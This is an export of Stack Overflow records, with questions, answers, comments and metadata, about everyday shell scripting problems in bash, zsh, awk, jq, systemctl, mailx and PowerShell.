has text: If you run a command just by its name, say `x`, then the file x must be executable, and it must reside in one of the directories mentioned in your PATH. This is fundamental for Linux/Unix, and I guess that Python's _subprocess_ either adheres to this convention, or executes a shell (POSIX shell) for doing the work, in which case the shell adheres to this convention.

http://stackoverflow.com/comment/135825380
score: 0
type: QuestionComment
has text: You probably want to use the macOS builtin command `defaults` to read from the plist file, assuming your domain is `com.bob.toto` and your key is `TotoEmailAddress`, you might do `defaults read com.bob.toto TotoEmailAddress` to get the email value. Syntax is `defaults read DOMAIN KEY`, see `man defaults`.
comment on: http://stackoverflow.com/q/77040845
type: Comment

http://stackoverflow.com/a/76959066
answers question: http://stackoverflow.com/q/76958436
type: Answer
score: 0
has body: If the file contained regular expression patterns, like this: ^ABC ^DEF ^HIJ Then it would be simple: grep -f file1.txt file2.txt

http://stackoverflow.com/comment/135573974
comment on: http://stackoverflow.com/q/76903745
has text: For each line in each json file, you create a pipe with 2 child processes. You could spare the pipe by calculating `guid=$(awk -F "\"" '{print $4}' <<<$line`, but as zdim said, the whole way to process the json file is questionable. If you really want to do it in this way, don't create any child processes in the loop body. Better yet, don't process this file by a loop in bash, but in awk.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135641291
has text: Does [this](https://stackoverflow.com/questions/72087314/only-print-if-the-number-of-field-is-greater-than-a-value-with-awk) answer your question?
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76943562

http://stackoverflow.com/comment/135757587
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77009102
type: Comment
has text: (similarly, if the way your Linux distro's `java` command goes through a wrapper, you need to be sure _that_ wrapper uses `exec -a` so the correct argv0 is passed _when the actual Java executable itself is invoked_, not just when a parent or grandparent is invoked; so see again re: this being probably considerably more trouble than it's worth).

http://stackoverflow.com/q/76993432
has comment: http://stackoverflow.com/comment/135735325
tagged with: bash
answer count: 1
has answer: http://stackoverflow.com/a/77001262
has body: I am new to using BASH/Shell scripts and am trying to learn the best I can and have run into a small inconvience when using the mailx command. Currently I use mailx command to send an email with attached CSV file once the process is complete. I use "-r" to set the from box as our groups email from Outlook -r TeamName@example.com This works fine and the email goes out and says it's from the team box. One thing that happens is we also get an undeliverable message in our box as it appears to be trying to send one to the server the mailx is on Unable to send mail. Message from host node.server.example.com. Then it shows the email as: -@node.server.example.com Since the company controls the servers and environment I can make no changes to the settings or anything like that. But is there anything I can do that will stop us from having our mailbox being cluttered up with all of the undeliverable messages? Current mail command I am using: echo "This is the body of the email. There is stuff here. Thank you for reading this. Team Member" | mailx -r teammail@example.com -s "Email Subject" -a "filename.csv" - email1@example.com email2@example.com email3@example.com
has title: Mailx Command Attempts to Send mail to Server/Node
has comment: http://stackoverflow.com/comment/135735069
score: 0
type: Question
tagged with: mailx
has comment: http://stackoverflow.com/comment/135735541
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135743353
has comment: http://stackoverflow.com/comment/135743242
has comment: http://stackoverflow.com/comment/135730178

http://stackoverflow.com/comment/135902791
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76907867
has text: @thatotherguy ... I do not agree, what is needed is equivalence to `xdotool` under Wayland while respecting the quite valid security concerns. A `PTY` has limitaitons on how the required behaviour could get done. Nevertheless, the `terminator` terminal app _must already be_ a PTY to do what it does.

http://stackoverflow.com/q/77007882
answer count: 1
favorite count: 0
type: AnsweredQuestion
score: 2
downvote count: 0
type: Question
tagged with: powershell
accepted answer: http://stackoverflow.com/a/77008602
has title: What is the syntax/parameter issue with my PowerShell script for changing a file creation date?
has comment: http://stackoverflow.com/comment/135755638
has answer: http://stackoverflow.com/a/77008602
has comment: http://stackoverflow.com/comment/135756975
upvote count: 2
has body: Problem: I've never used PowerShell until now, but I am trying to change the creation date of a file. I used an example from the link below and below that is my PS code. I'm not seeing what I'm doing wrong unless the source is wrong. It appears to be a method parameter but I'm just not sure. Source: Using PowerShell to change timestamp of files and folders My version: PS c:\Users (Get-Item "C:\Users\me\Desktop\Holiday Schedule.pdf").CreationTime=("21 November 2022 13:10:00") The Error: Get-Process : A positional parameter cannot be found that accepts argument '11/22/2022 12:09:00 PM'. At line:1 char:1 + PS c:\Users (Get-Item "C:\Users\svallery\Desktop\RDSI 2023 Holiday Sc ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidArgument: (:) [Get-Process], ParameterBindingException + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.GetProcessCommand
tagged with: shell

http://stackoverflow.com/comment/135595531
has text: I just checked and if we leave the quotes, as guessed, the monitoring process doesn't occur because those single quoted paths don't exist.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76916586

http://stackoverflow.com/a/77045002
type: Answer
score: 1
upvote count: 1
has body: I'd just copy the image: from the Compose file, and not try to parse Compose's output. Compose's environment-variable substitution is a subset of POSIX shell syntax and you should be able to use the exact same string format in your script. docker tag my_app:${VERSION:-local} mycontainerreg.azurecr.io/$docker_image:latest When you set both build: and image: in the Compose file, the image: sets the name of the built image, so a better approach here might be to just set the Compose image: to what you want. Then you can docker-compose push the built image without having to manually extract its name. services: my_app: build: . image: mycontainerreg.azurecr.io/myapp:${VERSION:-latest} # should not usually need container_name: export VERSION=20230905 docker-compose build docker-compose push I'd suggest that tagging the image with a date stamp, source-control commit ID, or version string is a best practice. Fixed tags like latest can cause some problems, particularly if you're using Kubernetes, since it becomes unclear which "latest" image you're using – if the local system already has a "latest" image then the container system usually won't check if the upstream registry has a newer one.
has comment: http://stackoverflow.com/comment/135827416
answers question: http://stackoverflow.com/q/77039347
downvote count: 0

http://stackoverflow.com/comment/135672847
has text: Thank you, this was extremely helpful. It definitely made me reach a further point in the debugging, and I think I can take it from here. The docker hub images were my first attempt, but they reference an older version of the tool as far as I know. Thanks anyway for looking there too, really!
score: 0
comment on: http://stackoverflow.com/a/76961205
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135799193
type: Comment
score: 5
comment on: http://stackoverflow.com/q/77032828
has text: `date` is smart enough to understand that if you say 03:15:00 without specifying the full date, that means today. So `date -d 03:15:00 +%s` might be what you want
type: QuestionComment

http://stackoverflow.com/comment/135643897
type: QuestionComment
has text: @jhnc we just have this case <property=..... ride=.... targetFile=.... value=.../> all lines should be in this type of or similar kind of format may be one or two sometime missing in particular close.
type: Comment
comment on: http://stackoverflow.com/q/76944879
score: 0

http://stackoverflow.com/q/77042234
downvote count: 0
has title: Getting systemctl service status
has answer: http://stackoverflow.com/a/77320411
tagged with: unix
type: Question
tagged with: systemctl
tagged with: shell
has body: I am trying to get the status of systemctl service using below command. systemctl --no-pager status service_name | grep "Active" | cut -d ":" -f2 The output i am getting is active (exited) since Mon 2023-09-04 21 I just want active or inactive in the output. How do I achieve this ?
has comment: http://stackoverflow.com/comment/135820776
type: UnansweredQuestion
score: 1
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/135764108
type: QuestionComment
comment on: http://stackoverflow.com/q/77012572
type: Comment
score: 0
has text: the values will be maintained from the original json

http://stackoverflow.com/comment/135837492
type: QuestionComment
has text: What any given sed might do with binary data is an interesting question - you'd have to read the man page for the version you use. You might also have to set `LC_ALL=C` when you call it. GNU awk can handle binary data see [BINMODE](https://www.gnu.org/software/gawk/manual/gawk.html#User_002dmodified) or other mentions of "binary" in the manual) and has far more abilities than `sed` for transforming data. Idk about `dd`.
comment on: http://stackoverflow.com/q/77051352
type: Comment
score: 0

http://stackoverflow.com/comment/135595642
comment on: http://stackoverflow.com/a/76916586
has text: You could add `#!/bin/zsh` to your `while/read` solution to make that clear for future readers.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135589787
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76913434
has text: You did not show the content of `JIRA_DESCRIPTION`. Do a `xxd <<<$JIRA_DESCRIPTION`, so that you can see exactly what's in this variable.

http://stackoverflow.com/q/76928865
tagged with: bash
answer count: 1
has answer: http://stackoverflow.com/a/76929011
has title: How to run two if conditions alternatively in commit-msg hook?
type: Question
tagged with: shell
tagged with: husky
type: UnansweredQuestion
has body: I have a commit-msg script: #!/bin/sh # This hook enforces commit messages to follow the rules # ANSI color codes for formatting RED='\033[0;31m' NC='\033[0m' # No Color commit_msg="$1" error_msg="${RED}error: Commit message must start with a capitalized verb${NC}" error_length_msg="${RED}error: Commit message must be more than 20 characters${NC}" # Use regex to check if the message starts with a capitalized verb if ! echo "$commit_msg" | grep -qE "^[A-Z][a-z]+"; then echo "$error_msg" >&2 exit 1 fi # Check the length of the commit message if [ ${#commit_msg} -le 20 ]; then echo "$error_length_msg" exit 1 fi When I do a commit message with lower letter in the begining, it executes the first check well: git commit -m "test capital letter" error: Commit message must start with a capitalized verb husky - pre-commit hook exited with code 1 (error) However, when the commit message start with capital but less than 20 letters, it stills show ( execute ) the first message: git commit -m "Test 20 letters" error: Commit message must start with a capitalized verb husky - pre-commit hook exited with code 1 (error) My pre-commit: #!/usr/bin/env sh . "$(dirname -- "$0")/_/husky.sh" # Run the commit message check .husky/commit-msg `$1` # Check the exit status of the previous command if [ $? -ne 0 ]; then exit 1 fi # Run linting and lint-staged checks npx lint-staged # ANSI color codes for formatting RED='\033[0;31m' NC='\033[0m' # No Color # Check the exit status of the previous command if [ $? -ne 0 ]; then echo "${RED}Linting failed. Aborting commit.${NC}" exit 1 fi # Run Cypress tests without opening the launchpad npm run cypress-run-component Based on Philip's answer #!/bin/sh # This hook enforces commit messages to follow the rules # ANSI color codes for formatting RED='\033[0;31m' NC='\033[0m' # No Color commit_msg=`cat $1` // changed this error_msg="${RED}error: Commit message must start with a capitalized verb${NC}" error_length_msg="${RED}error: Commit message must be mor…
score: 0

http://stackoverflow.com/comment/135759373
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77009623
has text: I can't replicate your problem in WSL bash. Does it help to change files perms to 755? ALSO, edit your question to show `uname -srv` and `echo $BASH_VERSION`? Good luck.

http://stackoverflow.com/comment/135838056
type: Comment
has text: Possible duplicate of ["While loop stops reading after the first line in Bash"](https://stackoverflow.com/questions/13800225/while-loop-stops-reading-after-the-first-line-in-bash). Also, see [BashFAQ #89](http://mywiki.wooledge.org/BashFAQ/089).
comment on: http://stackoverflow.com/q/77050840
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135856076
has text: Please format your question better.
type: Comment
comment on: http://stackoverflow.com/q/77059371
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135847314
score: 0
has text: This _isn't_ what `set GITHUB_ENV_var=1` is expected to do. Look for its documentation in `man zshbuiltins`, or by running `help set` in bash.
type: QuestionComment
comment on: http://stackoverflow.com/q/77058657
type: Comment

http://stackoverflow.com/comment/135597247
comment on: http://stackoverflow.com/q/76917878
has text: `shell-quote` is exactly what you need. It will do the parsing and handle any ridiculous quoting. It is then YOUR job to supply the actions for the parsing it did. That's your task. It should be fun, actually.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77001322
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77000910
answers question: http://stackoverflow.com/q/77000910
has body: In Xcode's post-action script, you don't have direct access to the exit status of the xcodebuild command. I not sure about this but you can check the existence of the generated build for example your app bundle. To infer whether the build succeeded.
type: Answer
score: 0

http://stackoverflow.com/a/77058674
has comment: http://stackoverflow.com/comment/135845743
has comment: http://stackoverflow.com/comment/135845706
has comment: http://stackoverflow.com/comment/135848226
has comment: http://stackoverflow.com/comment/135845677
has comment: http://stackoverflow.com/comment/135845720
downvote count: 0
answers question: http://stackoverflow.com/q/77058657
has body: In zsh, like in bash and sh, you don't use set to assign a variable. Just do: $ GITHUB_ENV_var=1 If you want the variable to be available to other commands (not just shell builtins), use export: $ export GITHUB_ENV_var=1
has comment: http://stackoverflow.com/comment/135845816
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/135815903
type: Comment
comment on: http://stackoverflow.com/q/77042151
score: 0
has text: `%SystemRoot%\System32\cmd.exe /C "D:\Sci\Anaconda\envs\torch\python.exe" "C:\Users\shuch\.vscode\extensions\ms-python.python-2023.14.0\pythonFiles\lib\python\debugpy\adapter\..\..\debugpy\launcher 60484" -- "D:\Date\LTS_23-6-20_ML\2_BasicML\inference_cnn.py"`. It is not clear for me if the argument for `python.exe` is `"C:\Users\shuch\.vscode\extensions\ms-python.python-2023.14.0\pythonFiles\lib\python\debugpy\adapter\..\..\debugpy\launcher"` or `"C:\Users\shuch\.vscode\extensions\ms-python.python-2023.14.0\pythonFiles\lib\python\debugpy\adapter\..\..\debugpy\launcher 60484"`.
type: QuestionComment

http://stackoverflow.com/q/76911748
has comment: http://stackoverflow.com/comment/135586995
linked to: http://stackoverflow.com/q/3777301
has body: I'm trying to run a bash script from a Python script. Both this bash script and python script reside in the same directory. However, when I run the Python script, I get No such file or directory error. My current directory xxx@xxx:/home# ls check.sh sc.py Following is the code I'm trying to run, sc.py: import subprocess subprocess.Popen(["check.sh", "ABC"]) I'm getting the following error: xxx@xx:/home# python3 sc.py Traceback (most recent call last): File "sc.py", line 2, in <module> subprocess.Popen(["check.sh", "ABC"]) File "/usr/lib/python3.6/subprocess.py", line 729, in __init__ restore_signals, start_new_session) File "/usr/lib/python3.6/subprocess.py", line 1364, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: 'check.sh': 'check.sh' What am I doing wrong here?
has comment: http://stackoverflow.com/comment/135589066
downvote count: 0
has answer: http://stackoverflow.com/a/76911815
type: Question
tagged with: subprocess
tagged with: shell
type: UnansweredQuestion
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/135589019
has comment: http://stackoverflow.com/comment/135586758
has title: subprocess.Popen could not find bash file in the same directory
has comment: http://stackoverflow.com/comment/135586570
has comment: http://stackoverflow.com/comment/135586572
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/q/77058657
answer count: 2
tagged with: linux
has body: I'm very confused by this result. I have two questions. What's wrong with that? What are *, @, and argv? $ set GITHUB_ENV_var=1 $ echo $GITHUB_ENV_var # ❌ after set, echo nothing $ set | grep GITHUB_ENV_var '*'=( 'GITHUB_ENV_var=1' ) @=( 'GITHUB_ENV_var=1' ) argv=( 'GITHUB_ENV_var=1' ) $ unset GITHUB_ENV_var # ❌ unset no work at all $ set | grep GITHUB_ENV_var '*'=( 'GITHUB_ENV_var=1' ) @=( 'GITHUB_ENV_var=1' ) argv=( 'GITHUB_ENV_var=1' ) I'm using the zsh as the default shell. expect result $ set GITHUB_ENV_var=1 $ echo $GITHUB_ENV_var 1 update I know that I can use export GITHUB_ENV_var=1 to set a system-wide variable value, but I wonder why the set and unset commands did not work as expected.
tagged with: unset
has answer: http://stackoverflow.com/a/77058674
type: Question
possible better answer: http://stackoverflow.com/a/77058674
has comment: http://stackoverflow.com/comment/135847352
has comment: http://stackoverflow.com/comment/135847314
has comment: http://stackoverflow.com/comment/135847407
has answer: http://stackoverflow.com/a/77064396
has comment: http://stackoverflow.com/comment/135847353
tagged with: zsh
accepted answer: http://stackoverflow.com/a/77064396
score: 0
tagged with: shell
has title: Why both the set and unset commands don't work as expected in my macOS terminal
tagged with: environment-variables
has comment: http://stackoverflow.com/comment/135847328
has comment: http://stackoverflow.com/comment/135847318
type: AnsweredQuestion

http://stackoverflow.com/q/77012572
has comment: http://stackoverflow.com/comment/135764136
possible better answer: http://stackoverflow.com/a/77013185
has answer: http://stackoverflow.com/a/77013286
favorite count: 0
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/135764240
has body: I have a json file in the format { "hello": [ { "name": "var1", "value": "1234" }, { "name": "var2", "value": "2356" }, { "name": "var3", "value": "2356" } ], "hi": [ { "name": "var1", "value": "3412" }, { "name": "var2", "value": "2563" }, { "name": "var3", "value": "4256" } ], "bye": [ { "name": "var1", "value": "1294" }, { "name": "var2", "value": "8356" }, { "name": "var3", "value": "5356" } ] } I want to convert this object into this format { "output": [ { "var1": { "hello": "1234", "hi": "3412", "bye": "1294" } }, { "var2": { "hello": "2356", "hi": "2563", "bye": "8356" } }, { "var3": { "hello": "2356", "hi": "4256", "bye": "5356" } } ] } so far i've tried multiple ways using to_entries and map functions in jq to create the contents inside the output variable jq 'to_entries | map(.value[]| . += {"key_v" : (.key)} )' input.json > output.json this is the closest i came to a solution extracting keys and add to the key value pair of the object use map(select()) to group by keys but i am getting errors in both the steps such as cannot index array with string name or string value.
has answer: http://stackoverflow.com/a/77013900
type: Question
tagged with: command-line-interface
tagged with: shell
has title: How to group json objects by using keys of sub value objects using jq
has comment: http://stackoverflow.com/comment/135764108
has answer: http://stackoverflow.com/a/77013185
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/77013286
tagged with: jq
has comment: http://stackoverflow.com/comment/135763979
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/135763941
has comment: http://stackoverflow.com/comment/135764547

http://stackoverflow.com/comment/135579241
type: QuestionComment
type: Comment
has text: In bash, the answer is to localize OPTIND and OPTARG inside functions: `local OPTIND OPTARG`. I don't the zsh-specific command.
score: 0
comment on: http://stackoverflow.com/q/76905287

http://stackoverflow.com/comment/135818639
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/77043467
has text: (You've misspelled `VERBOSE` in the line above the troublesome `RUN` line.)

http://stackoverflow.com/comment/135824098
has text: What does it mean for a service to be "started"? What does it mean to eb "successfully started"? If a service has "ActiveAfterExit=true", is it "started" after exiting or not? What is the output f `systemctl status`. Why do you stop the service if you want it started. Then finaly, if you want to know if something successfully started, then you should implement an application specific external healthcheck, not check what systemctl says.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77044040

http://stackoverflow.com/comment/135759168
has text: @shellter sure, changed the format
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77009623
score: 1

http://stackoverflow.com/comment/135589144
comment on: http://stackoverflow.com/q/76913125
score: 0
type: QuestionComment
has text: @pmf so there is no way to parse this ?
type: Comment

http://stackoverflow.com/comment/135794836
type: Comment
has text: Do yourself a favour and use `ProcessBuilder` with `inheritIO` and yes, using the full path to the compiler is a good idea
score: 0
comment on: http://stackoverflow.com/q/77029758
type: QuestionComment

http://stackoverflow.com/a/76959195
score: 3
upvote count: 3
has body: Using awk : awk 'NR==FNR{a[$0];next} ($1 in a)' File1.txt File2.txt NR==FNR while you are in the first file a[$0] register the line in an array a next go to next record ($1 in a) if $1 your first field is registered in a In awk if you have a condition that is true, by default it will print the line, so ($1 in a) can be read as ($1 in a){print $0} Using this method will make sure that you have the literal input given in your first file. For example if you have AB. this will only match with AB. and wont be considered as a regex, so wont match ABy. This use an associative array, so it will store every value you have in your first file. If this file is too large you may encounter memory problem. This will edit neither of your files, so you will need to redirect the output to a new file using this method.
downvote count: 0
answers question: http://stackoverflow.com/q/76958436
type: Answer

http://stackoverflow.com/comment/135681251
type: Comment
score: 0
has text: AFIK, bash uses the _readline_ library, and this means that you can do some configuration in [`~/.inputrc`](https://ss64.com/bash/syntax-inputrc.html). However, this question is not really about programming, and I suggest that you ask it at [unix.stackexchange.com](unix.stackexchange.com).
comment on: http://stackoverflow.com/q/76966101
type: QuestionComment

http://stackoverflow.com/comment/135612517
type: Comment
comment on: http://stackoverflow.com/q/76923495
has text: You can easily verify it on the command line, that the error message is written to stderr, which you don't process in your script. However, testing the output is not a good idea anyway. As like nearly every well-behaved program, `crontab` sets a non-zero exit code on error.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135692399
type: QuestionComment
comment on: http://stackoverflow.com/q/76972787
has text: (Also, the process substitution _creates an extra process_, so you use `eval` to force it to work, your nprocs count is too low... and of course you have [all the risks of `eval`](https://mywiki.wooledge.org/BashFAQ/048)).
type: Comment
score: 0

http://stackoverflow.com/comment/135815868
comment on: http://stackoverflow.com/a/77042018
type: Comment
score: 0
type: AnswerComment
has text: @dragonLOLz : I updated my solution, but note that such details about the format of the input file should be put into the question.

http://stackoverflow.com/comment/135818415
comment on: http://stackoverflow.com/q/77043467
type: Comment
score: 0
type: QuestionComment
has text: The problem in step 7/8 isn't a permission error. If it were a permission error you wouldn't be told it returned an error code 22, you'd get a different error. If you set VERBOSE=true you will get more information on what went wrong.

http://stackoverflow.com/a/76996716
type: AcceptedAnswer
upvote count: 1
answers question: http://stackoverflow.com/q/76996572
has body: There are at least two approaches to this: hardlinks. As described in comments, these do what you ask, with the limitations given: hardlinks can easily be broken if you're not careful, and they only work within the same filesystem (which furthermore has to be among those that support it). Also, you should not make hardlinks to directories. bind mounts. You can mount --bind /path/to/real_file /another/path/other_name to make /path/to/real_file accessible as /another/path/other_name. Important characteristics of this approach include: mounts are not persistent. They have to be set up anew at each boot, typically with the help of /etc/fstab or some other kind of configuration mounting is a privileged action. Ordinary users can't do it. unlike hardlinks, bind mounts can span filesystems. there has to be an actual file (which can be empty) to mount on. renaming, deleting, and similar filesystem operations will need to be done differently
score: 1
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/76996572

http://stackoverflow.com/comment/135804630
type: Comment
comment on: http://stackoverflow.com/q/77032363
has text: I'm not well-versed in github actions, but AFIK `${{ .... }}` would require a github variable inside, like `secrets.foo`. How about `${{ secrets }}.$SECRETS_NAME`? But even then, I could imagine that `SECETS_NAME` should be defined in an `env:` section.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135793745
has text: FYI the command can be used in a non-interactive way as documented here : https://nextjs.org/docs/pages/api-reference/create-next-app#non-interactive
comment on: http://stackoverflow.com/q/77029606
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135589321
has text: @pmf, thanks for your answer. I just edited the question to clarify. The columns are tab-delimited. I hope now the question is more clear.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76913085

http://stackoverflow.com/comment/135662237
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76954855
type: Comment
has text: That `su` probably doesn't do what you think it does. Which user do you think executes the `cd` and `mv`?

http://stackoverflow.com/comment/135644469
has text: Consider fixing your quotes (`echo "pattern not found in line $line"`) -- otherwise a line that contains, say, the string `*.txt` will have that replaced in `echo`'s output with a list of files matching the glob.
score: 1
comment on: http://stackoverflow.com/a/76945473
type: Comment
type: AnswerComment

key
tag name: key
tags question: http://stackoverflow.com/q/76930863
type: Tag

http://stackoverflow.com/comment/135570413
type: Comment
type: AnswerComment
score: 2
has text: Note that `-o` is obsolete in POSIX and has undefined behavior in more complex tests. The more reliable solution in a POSIX shell is to use multiple tests, e.g. `[ a = b ] || [ c = d ]`.
comment on: http://stackoverflow.com/a/76896721

http://stackoverflow.com/comment/135789713
has text: Do you also need to handle nested variables (with fallback or alternative values) or other types of expansion? e.g. `${var1:-default}`, `${var2:+-o "$var2"}`, `${var3:-$var4}`, `${path%/*}`, and similar? Or is the only supported format in your template file `${var}`?
score: 0
comment on: http://stackoverflow.com/q/77027254
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135794185
score: 0
type: QuestionComment
type: Comment
has text: You can also try to find what's the absolute path of `kotlinc` and use it instead.
comment on: http://stackoverflow.com/q/77029758

http://stackoverflow.com/comment/135643383
has text: Yeah, I am using bash
comment on: http://stackoverflow.com/q/76944879
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135589740
has text: Thank you for the alternative! I tested it, and it works with my data.
type: Comment
comment on: http://stackoverflow.com/a/76913535
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135807102
has text: You also don't need `grep`, `rev`, or `cut` when you're using `awk` - show us the output of `git diff --name-only 12313123123132 origin/dev` so we can help you with that part too.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77037291
type: Comment

http://stackoverflow.com/q/77031226
has comment: http://stackoverflow.com/comment/135797192
has comment: http://stackoverflow.com/comment/135796514
tagged with: bash
answer count: 1
has body: I have a simple bash script: #!/bin/bash # Zip data and upload it to a cloud storage provider set -euo pipefail # some config and funcs removed, only relevant are left. file=foo dest=bar temp_dir=$(mktemp -d) fail() { log "$1" exit 1 } log() { echo "$(date) - $1" echo "$1" | systemd-cat -p notice -t cloud_archive } put_archive() { # Put archives into storage. # This is where we fail cp "${file}" "${dest}" || fail "Uploading failed" } cleanup() { # remove some temp files etc. # and send message to stdout and journal log "Deleting temp dir ${temp_dir}." rm -r "${temp_dir}" } put_archive trap cleanup EXIT From my understanding this is the basic use case for a bash trap. The cp command fails with $? != 0, triggering the fail function, which in turn sends a log message to the journal and then exit 1. The trap should catch that signal and fire cleanup. That part is what does not work. The script just exits with log message "Uploading failed" and does not fire cleanup. I do not see the log output from that function and temp_dir still exists. What I did: Remove set -euo pipefail Add set -x to verify executed commands, which did not result in anything useful There are no subshells which might interfere with the trap trap is not used within a function which could have been not yet defined when the script exits I am having a hard time understanding what I am doing wrong. What am I not seeing here?
has answer: http://stackoverflow.com/a/77032245
type: AnsweredQuestion
has title: trap ignoring exit signal
accepted answer: http://stackoverflow.com/a/77032245
has comment: http://stackoverflow.com/comment/135807123
has comment: http://stackoverflow.com/comment/135796509
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/comment/135589528
has text: Why do the first 2 lines of your script each start with a `-` character and why is there a `|` character on line 2?
score: 0
comment on: http://stackoverflow.com/q/76913434
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77064396
has body: I'm really sorry for asking this question without fully understanding the "set" command. I understand three things after reading the book Linux Command Line and Shell Scripting Bible, 3E The set command is not designed for setting environment variables; The export command is used to set system-wide environment variables; When I learned that the unset command can delete environment variables, I mistakenly thought that the set command and the unset command were the opposite functions; $ man zshbuiltins set [ {+|-}options | {+|-}o [ option_name ] ] ... [ {+|-}A [ name ] ] [ arg ... ] Set the options for the shell and/or set the positional parameters, or declare and set an array. If the -s option is given, it causes the specified arguments to be sorted before assigning them to the positional parameters (or to the array name if -A is used). With +s sort arguments in descending order. For the meaning of the other flags, see zshoptions(1). Flags may be specified by name using the -o option. If no option name is supplied with -o, the current option states are printed: see the description of setopt below for more information on the format. With +o they are printed in a form that can be used as input to the shell. If the -A flag is specified, name is set to an array containing the given args; if no name is specified, all arrays are printed together with their values. If +A is used and name is an array, the given arguments will replace the initial elements of that array; if no name is specified, all arrays are printed without their values. The behaviour of arguments after -A name or +A name depends on whether the option KSH_ARRAYS is set. If it is not set, all arguments following name are treated as values for the array, regardless of their form. If the option is set, normal option processing continues at that point; only regular arguments are treated as values for the array. This means that set -A array -x -- foo sets array to `-x -- foo' if KSH_ARRAYS is not set, but sets th…
type: Answer
answers question: http://stackoverflow.com/q/77058657
accepted answer of: http://stackoverflow.com/q/77058657
type: AcceptedAnswer
score: 0

http://stackoverflow.com/comment/135786232
comment on: http://stackoverflow.com/a/77025220
score: 1
has text: Also, there's no reason for the parens -- `foo &` itself already creates a subshell. `(foo) &` is making `foo` a grandchild rather than a child for no good reason.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135685565
score: 0
comment on: http://stackoverflow.com/q/76968047
has text: Wow. @EdMorton, your command worked! It outputs `1521620`. grep ran out of memory in my linux server but in my mac, it didn't give any error. It should've given some error instead of giving `446441 `
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76893700
has body: Good day. I am testing shell script over my own debian notebook android-verify.sh: line 14: syntax error near unexpected token `then' android-verify.sh: line 14: `if ! -z $iopt then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname' I am still new here. Please advised. When attempt to include ; In the following instruction if ! -z $iopt **;** then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname); su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo$ fi This bash terminal return the following messages android-verify.sh: line 17: syntax error near unexpected token `fi' android-verify.sh: line 17: `fi '
has comment: http://stackoverflow.com/comment/135555345
has comment: http://stackoverflow.com/comment/135555400
has title: unexpected token " then "
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135557296
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135555328
answer count: 1
has comment: http://stackoverflow.com/comment/135560326
has comment: http://stackoverflow.com/comment/135557294
tagged with: scripting
has answer: http://stackoverflow.com/a/76894827
has comment: http://stackoverflow.com/comment/135557303

http://stackoverflow.com/comment/135826273
type: Comment
has text: You are setting the process to Wait which is causing a second event. I would add to code if status is Wait do nothing instead of calling Start-Process.
score: 0
comment on: http://stackoverflow.com/q/77046185
type: QuestionComment

http://stackoverflow.com/comment/135684226
type: Comment
type: AnswerComment
score: 0
has text: if the values are variables, then where do I put the ANSI code? Right before the variable name?
comment on: http://stackoverflow.com/a/76952209

http://stackoverflow.com/comment/135736055
type: Comment
has text: @TimRoberts, there's lots of NFS still out there. But even if you disregard that, hardlinks do not span filesystems, and NFS is not the only filesystem type that does not support them. Not that that necessarily makes them a bad fit for the job.
comment on: http://stackoverflow.com/q/76996572
score: 0
type: QuestionComment

http://stackoverflow.com/a/76906862
downvote count: 0
has comment: http://stackoverflow.com/comment/135580900
has body: It looks like this is what you want: command1 &amp; # put command1 in a background process pid=$! # store the id of the process running command1 command2 # execute command2 kill $pid # kill command1 after command2 has finished wait # wait for (all) background command(s) to exit Note: killing command1 may abort it in places you don't like. Install a trap in command1 to catch SIGTERM if you'd like a cleaner exit.
type: Answer
score: 8
answers question: http://stackoverflow.com/q/76906817
upvote count: 8
has comment: http://stackoverflow.com/comment/135616593
has comment: http://stackoverflow.com/comment/135585006
has comment: http://stackoverflow.com/comment/135580794

